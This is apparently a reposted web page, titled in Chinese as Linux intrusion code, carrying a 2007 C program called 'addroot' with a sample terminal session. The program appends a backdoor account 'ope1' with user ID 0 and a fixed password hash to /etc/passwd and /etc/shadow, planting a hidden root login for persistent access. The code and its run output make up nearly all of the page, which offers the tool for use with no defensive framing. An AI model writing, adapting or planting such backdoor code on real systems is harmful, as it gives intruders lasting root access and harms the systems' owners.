LINUX入侵代码[需编译]
LINUX入侵代码[需编译]
[root@domlabs:~]$ gcc addroot.c -o addroot
[root@domlabs:~]$ chmod -v x addroot
mode of `addroot retained as 0755 (rwxr-xr-x)
[root@domlabs:~]$ ./addroot
[ D.O.M TEAM ADDUSER ROOT ]
[ we are: ka0x, an0de, xarnuz ]
[ written by ka0x - 2007 ]
[x] user: ope1
[x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== // base64
[root@domlabs:~]$
#include <stdio.h>
#include <fcntl.h>
/*
addroot
written by ka0x
D.O.M TEAM
we are: ka0x, an0de, xarnuz
23/12/2007
[root@domlabs:~]$ gcc addroot.c -o addroot
[root@domlabs:~]$ chmod -v x addroot
mode of `addroot retained as 0755 (rwxr-xr-x)
[root@domlabs:~]$ ./addroot
[ D.O.M TEAM ADDUSER ROOT ]
[ we are: ka0x, an0de, xarnuz ]
[ written by ka0x - 2007 ]
[x] user: ope1
[x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== // base64
[root@domlabs:~]$
*/
main() {
printf(" [ D.O.M TEAM ADDUSER ROOT ] ");
printf("[ we are: ka0x, an0de, xarnuz ] ");
printf("[ written by ka0x - 2007 ] ");
printf("[x] user: ope1 ");
printf("[x] password: ZGtzYWpkc2FkXzAxc2FkNjVzYQ== ");
char *filepasswd = "/etc/passwd";
char *fileshadow = "/etc/shadow";
char *linepsw = "ope1:x:0:0::/:/bin/sh ";
char *lineshw = "ope1:$1$WeYVa/TR$ipSkWq9zgoK74N2UxXWzp1:13540:0:99999:7::: ";
int f_open;
f_open = open(filepasswd,O_WRONLY|O_APPEND);
write(f_open, linepsw, strlen(linepsw));
close(f_open);
f_open = open(fileshadow,O_WRONLY|O_APPEND);
write(f_open, lineshw, strlen(lineshw));
close(f_open);
exit(0);
}
/* __EOF__ */
评论暂时关闭